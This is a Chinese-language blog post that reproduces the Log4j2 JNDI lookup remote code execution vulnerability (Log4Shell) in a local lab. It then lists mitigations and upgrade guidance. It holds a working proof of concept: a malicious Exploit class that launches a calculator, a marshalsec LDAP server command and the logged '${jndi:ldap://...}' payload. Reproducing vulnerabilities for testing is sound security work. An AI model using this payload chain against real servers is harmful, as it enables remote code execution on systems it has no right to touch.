Apache Log4j 远程代码执行漏洞复现

Apache Log4j 远程代码执行漏洞复现

木头人 1,654 2021-12-16

Log4j2简介

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。

受影响版本:2.x <= 2.14.1

漏洞复现

image.png

1.创建maven项目,导入Log4j依赖。

<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version>
</dependency>

2.创建一恶意类Exploit.java

public class Exploit {
    static {
        System.err.println("Turn on the calculator!");
        try {
            Runtime.getRuntime().exec("calc");
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

注意:Exploit类中除了这些代码不要有其他东西,尤其是packageimport

3.编译得到Exploit.class

javac Exploit.java

4.使用marshalsec-0.0.3-SNAPSHOT-all.jar本地开启一个LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:7777/#Exploit" 8888

启动成功如下图所示:

16396464551.jpg

5.编写测试类测试

package cn.itmtr.log4jtest;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTestApplication {

    public static Logger log = LogManager.getLogger();

    public static void main(String[] args) {
        log.error("${jndi:ldap://127.0.0.1:8888/Exploit}");
    }

}

image.png

项目地址

https://gitee.com/itmtr/log4j_test_ldap

解决方案

紧急缓解措施:

  • 修改jvm参数 -Dlog4j2.formatMsgNoLookups=true
  • 修改配置log4j2.formatMsgNoLookups=True
  • 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true

修复方案:

检查所有使用了 Log4j2 组件的系统,官方修复链接如下:
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

注意

本文章仅为复现问题,查看项目中是否存在此问题,不可用作其他,否则后果自负。


# java # log4j # 漏洞 # ldap